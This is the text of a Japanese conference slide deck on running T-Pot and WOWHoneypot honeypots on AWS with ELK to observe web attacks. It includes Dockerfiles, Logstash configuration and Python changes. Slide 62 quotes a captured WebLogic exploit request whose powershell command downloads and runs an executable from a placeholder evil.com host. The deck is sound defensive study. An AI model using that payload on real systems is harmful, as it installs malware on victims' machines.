Slide 1

Slide 1 text

AWS + T-Pot + ELK + WOWHoneypot で Web攻撃を 観察してみよう 2018年6月30日 第4回ハニーポット技術交流会 @graneed111

Slide 2

Slide 2 text

自己紹介 graneed ITエンジニア歴 10年ちょっと セキュリティエンジニア歴 半年 CTFer Twitter: @graneed111 Blog: https://graneed.hatenablog.com/ (こんとろーるしーこんとろーるぶい) 2

Slide 3

Slide 3 text

本日話すこと 3 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 4

Slide 4 text

300人 ? 4

Slide 5

Slide 5 text

5

Slide 6

Slide 6 text

20% ? 6

Slide 7

Slide 7 text

7

Slide 8

Slide 8 text

8 ハニーポッター 8+5人 申込人数 計62人 =20%

Slide 9

Slide 9 text

意外にハニーポッター少ない? https://www.flickr.com/photos/crawleyphoto-artistry/19978113546/ 9

Slide 10

Slide 10 text

ハニポ、やってみませんか? https://bokete.jp/boke/875633 「できるかな」  じゃねぇよ。  やるんだよ。 10

Slide 11

Slide 11 text

AWS + T-Pot + ELK + WOWHoneypot で Web攻撃を 観察してみよう 11

Slide 12

Slide 12 text

本日話すこと 12 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 13

Slide 13 text

https://github.com/dtag-dev-sec/tpotce 13

Slide 14

Slide 14 text

T-Pot アーキテクチャ図 14

Slide 15

Slide 15 text

T-Pot アーキテクチャ図 難しそう・・・ 15

Slide 16

Slide 16 text

T-Pot インストール手順 ./install.sh 16

Slide 17

Slide 17 text

T-Pot インストール手順 ./install.sh 以上 17

Slide 18

Slide 18 text

T-Pot インストール手順 18

Slide 19

Slide 19 text

自宅に植えたいけど・・・ ◦ 既に主要なポート使っている。 ◦ 24H365Dのサーバ起動はつらい。 ◦ 本当に侵入されたらヤバい。 どの環境に植えるか? 19

Slide 20

Slide 20 text

ミイラ取りが ミイラに http://gelwtmk2s.blog119.fc2.com/blog-entry-53.html 20

Slide 21

Slide 21 text

そうだ クラウドにしよう 21

Slide 22

Slide 22 text

http://www.itmedia.co.jp/enterprise/articles/1805/17/news110.html クラウドインフラ市場はAWSがトップシェア 22

Slide 23

Slide 23 text

http://www.itmedia.co.jp/enterprise/articles/1805/17/news110.html クラウドインフラ市場はAWSがトップシェア せっかくだから、 俺はこのAWSを 選ぶぜ! 23

Slide 24

Slide 24 text

AWSアカウントの初期設定 EC2インスタンスタイプの選択 セキュリティグループの設定 チューニング AWS環境構築 24

Slide 25

Slide 25 text

IAMユーザ作成 ◦ AdministratorAccess権限を持つグループを作成し て、グループにユーザ追加 2段階認証 ◦ ルートアカウント、IAMユーザともに設定 請求情報アラート ◦ 想定外のリソース使用時や、 万一の乗っ取られ時に、早めに気付くように AWSアカウントの初期設定 (参考) AWSアカウントを取得したら速攻でやっておくべき初期設定まとめ https://qiita.com/tmknom/items/303db2d1d928db720888 25

Slide 26

Slide 26 text

t2.medium以上が必須 ◦ ELKを動かすので要求スペック高め ◦ リザーブドインスタンスを前提で、 年間40,000円 →まずは通常のオンデマンドで。 なお、AWSの12か月無料利用枠の t2.microでは動作不可 ◦ CPUクレジット使い果たしてstealが発生 EC2インスタンスタイプの選択 26

Slide 27

Slide 27 text

(ご参考)40,000円で買えるもの 27

Slide 28

Slide 28 text

管理画面とSSHへの接続元IPを限定 ◦ 例えば自宅のIPのみに絞ることを推奨 ◦ 管理画面のポートは64297 ◦ SSHのポートは64295 →T-Potインストーラーが変更している。 攻撃してほしいポートの穴あけ ◦ Honeytrapが全パケットを監視しているため、 64295-64297以外は全て開放。 →特に観測しないなら限定してもよいかも。 セキュリティグループの設定 なお、半年ほどこの設定で運用していますが、 今のところ、特に問題は発生していません✋ 28

Slide 29

Slide 29 text

各ハニーポットのログ保存期間 ◦ デフォルトのログローテート設定は30日間 ◦ ディスク容量を観察しながら調整 ElasticSearchのデータ保存期間 ◦ デフォルトのデータ保存期間は90日間 ◦ ディスク容量よりCPU使用率の方が問題 →t2.mediumの場合、CPU使用率20%を超えると、  CPUクレジット消費開始。 →Kibanaの表示がタイムアウトするなど、  異常を感じたらCPUクレジットを確認。  自分はデータ保存期間45日間の設定で運用。 チューニング 29

Slide 30

Slide 30 text

本日話すこと 30 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 31

Slide 31 text

GlastopfでHTTP攻撃を観察する T-Potでは、HTTP(80番ポート)への攻撃は Glastopfが受け付けています。 Glastopfのログを確認してみます。 31

Slide 32

Slide 32 text

GlastopfでHTTP攻撃を観察する 32

Slide 33

Slide 33 text

{ "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score": null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 33

Slide 34

Slide 34 text

{ "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score": null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 情報が足りない! (HTTPヘッダーがない、POSTデータがない。) 34

Slide 35

Slide 35 text

Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4. glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4~7を繰り返し 35

Slide 36

Slide 36 text

Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4. glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4~7を繰り返し 36 めんどくさい!

Slide 37

Slide 37 text

WOWHoneypot https://github.com/morihisa/WOWHoneypot 37

Slide 38

Slide 38 text

WOWHoneypot用Dockerイメージ作成 glastopfの無効化 ELKへのログ連携 T-Pot環境へWOWHoneypot導入 38

Slide 39

Slide 39 text

WOWHoneypot用Dockerイメージ作成 T-Potは、Dockerを使用して、 各ハニーポットを起動 日次でサーバ再起動とともに、 コンテナを作り直すため、 クリーンな状態を維持 WOWHoneypotも コンテナ化しよう 39

Slide 40

Slide 40 text

WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 40

Slide 41

Slide 41 text

glastopfの無効化 コンテナ起動定義を削除 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlから、 glastopfの定義をコメントアウト ewsposterのglastopfログ収集を停止 ◦ ewsposterの定義変更&Dockerイメージ更新 ◦ 忘れると、syslogにエラーを吐き続け、 1日で10GB埋まった(経験談) 41

Slide 42

Slide 42 text

ELKへのログ連携 Logstashの定義追加&Dockerイメージ更新 (snip) if [type] == "WOWHoneypot" or [type] == "WOWHoneypotssl" { grok { match => [ "message", '\A\[%{TIMESTAMP_ISO8601:timestamp}\]%{SPACE}%{IP:src_ip}%{SPACE}%{IPORHOST:http.h ostname}:%{NUMBER:dest_port}%{SPACE}"%{WORD:http.http_method}%{SPACE}(?:%{URIPAT HPARAM:http.url}|%{URI:http.url})%{SPACE}%{DATA:http.protocol}"%{SPACE}%{NUMBER:http. http_status}%{SPACE}%{WORD:mrrid}%{SPACE}%{GREEDYDATA:http.request_b64}' ] remove_field => ["port"] } date { match => [ "timestamp", "yyyy-MM-dd HH:mm:ssZ" ] remove_field => ["timestamp"] } ruby { init => "require 'base64'" code => "event.set('http.request', Base64.decode64(event.get('http.request_b64')))" } } (snip) /opt/tpot/docker/elk/logstash/dist/logstash.conf Base64エンコードされたHTTPリクエ スト全体のデータをデコード ログの項目を切り出し ※他、数箇所の追加あり。 42

Slide 43

Slide 43 text

本日話すこと 43 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 44

Slide 44 text

HTTPSトラフィックの割合 https://transparencyreport.google.com/https/overview ウェブ上での HTTPS 暗号化 – Google 透明性レポートより 44

Slide 45

Slide 45 text

HTTPSトラフィックの割合 HTTPSへの攻撃も 観察したい! ウェブ上での HTTPS 暗号化 – Google 透明性レポートより https://transparencyreport.google.com/https/overview 45

Slide 46

Slide 46 text

SSL対応機能の追加 HTTPS版WOWHoneypot用 Dockerイメージ作成 Dionaeaの443ポートマッピング削除 WOWHoneypotのSSL化 46

Slide 47

Slide 47 text

SSL対応機能の追加 wowhoneypot.py(1/3) (snip) import select import urllib.parse import ssl from http.server import HTTPServer, BaseHTTPRequestHandler from mrr_checker import parse_mrr (snip) ip = "0.0.0.0" port = 8000 hostport = 80 serverheader = "test" artpath = "./art/" (snip) separator = " " ipmasking = False ssl_enable = False certfilepath = "" class WOWHoneypotHTTPServer(HTTPServer): 47

Slide 48

Slide 48 text

SSL対応機能の追加 wowhoneypot.py(2/3) (snip) if "host" in self.headers: if self.headers["host"].find(" ") == -1: hostname = self.headers["host"] else: hostname = self.headers["host"].split(" ")[0] if hostname.find(":") == -1: hostname = hostname + ":" + hostport else: hostname = "blank:" + hostport (snip) else: ipmasking = False if line.startswith("certfilepath"): global ssl_enable,certfilepath ssl_enable = True certfilepath = line.split('=')[1].strip() if line.startswith("hostport"): global hostport hostport = line.split('=')[1].strip() global accesslogfile 48

Slide 49

Slide 49 text

SSL対応機能の追加 wowhoneypot.py(3/3) (snip) logging_system("Hunting: {0}".format(hunt_enable), False, False) logging_system("IP Masking: {0}".format(ipmasking), False, False) logging_system("SSL Enable: {0}".format(ssl_enable), False, False) myServer = WOWHoneypotHTTPServer((ip, port), WOWHoneypotRequestHandler) myServer.timeout = timeout if ssl_enable: myServer.socket = ssl.wrap_socket(myServer.socket, certfile=certfilepath, server_side=True) try: myServer.serve_forever() except KeyboardInterrupt: pass myServer.server_close() [EOF] 49

Slide 50

Slide 50 text

# default port: 8080 port=44333 # default server header: Apache serverheader=Apache (snip) # for GDPR(True: replace source ip address with 0.0.0.0) ipmasking=False # SSL certfile path certfilepath=./server.pem # default host header port: 80 hostport = 443 [EOF] SSL対応機能の追加 config.txt 50

Slide 51

Slide 51 text

HTTPS版WOWHoneypot用Dockerイメージ作成 SSL用のオレオレ証明書作成 $ openssl req -new -x509 -keyout ./server.pem -out ./server.pem -days 365 -nodes 51

Slide 52

Slide 52 text

HTTPS版WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot ADD dist/ /root/dist/ RUN mv /root/dist/wowhoneypot.py /opt/wowhoneypot/ && \ mv /root/dist/config.txt /opt/wowhoneypot/ && \ mv /root/dist/server.pem /opt/wowhoneypot/ WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 52 変更したファイルと オレオレ証明書を配備

Slide 53

Slide 53 text

Dionaeaの443ポートマッピング削除 コンテナ起動定義を削除 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlから、 Dionaeaの443ポート定義をコメントアウト 53

Slide 54

Slide 54 text

本日話すこと 54 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 55

Slide 55 text

デモ1. WOWHoneypotへの攻撃観察(1/6) WOWHoneypotに対するHTTP/HTTPSの Web攻撃を観察する準備が整いました。 実際にKibanaのダッシュボードから、 攻撃内容を観察します。 55

Slide 56

Slide 56 text

デモ1. WOWHoneypotへの攻撃観察(2/6) +をクリック 56

Slide 57

Slide 57 text

デモ1. WOWHoneypotへの攻撃観察(3/6) 57

Slide 58

Slide 58 text

デモ1. WOWHoneypotへの攻撃観察(4/6) ピンをクリックしてから、 Discover画面へ。 58

Slide 59

Slide 59 text

デモ1. WOWHoneypotへの攻撃観察(5/6) 三角をクリック 59

Slide 60

Slide 60 text

デモ1. WOWHoneypotへの攻撃観察(6/6) 60

Slide 61

Slide 61 text

デモ2. Honeytrapを利用した流行りの攻撃観察 61

Slide 62

Slide 62 text

デモ2. Honeytrapを利用した流行りの攻撃観察 62 >>> print(binascii.unhexlify("504f535420..(snip)..6c6f70653e")) POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive (snip) cmd /c powershell (new-object System.Net.WebClient).DownloadFile('http://evil.com/downloader.exe','C:/ Windows/temp/wlanexts.exe');start C:/Windows/temp/wlanexts.exe

Slide 63

Slide 63 text

本日話すこと 63 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ

Slide 64

Slide 64 text

まとめ とりあえずハニポを始めるのは、 クラウド+T-Potが早いです。 ただし、お金と引き換え! →ついでに、AWS、Docker、ELKも  勉強できます! 慣れたら、観測目的を定めて、 好きなハニーポットを追加しましょう。 64

Slide 65

Slide 65 text

今後の取り組みテーマ 運用コストの削減 →要求スペックが高いELK環境のみ  自宅サーバに引っ越し。 定期観測しやすいダッシュボード作り →新規の攻撃だけ表示する等。 複数ポートでWOWHoneypot運用 →WebLogic Serverなどの、  ミドルウェアの使用ポートも対象に。 65

Slide 66

Slide 66 text

本日話すこと 66 1.AWSにT-Potをいれてみよう 2.WOWHoneypotをいれてみよう 3.WOWHoneypotをSSL対応しよう 4.Web攻撃を観察しよう 5.まとめ 詳細な手順やコマンドは、ブログに記載しています。 Amazon EC2(t2.medium)でT-Pot構築(その1) https://graneed.hatenablog.com/entry/2018/06/10/030525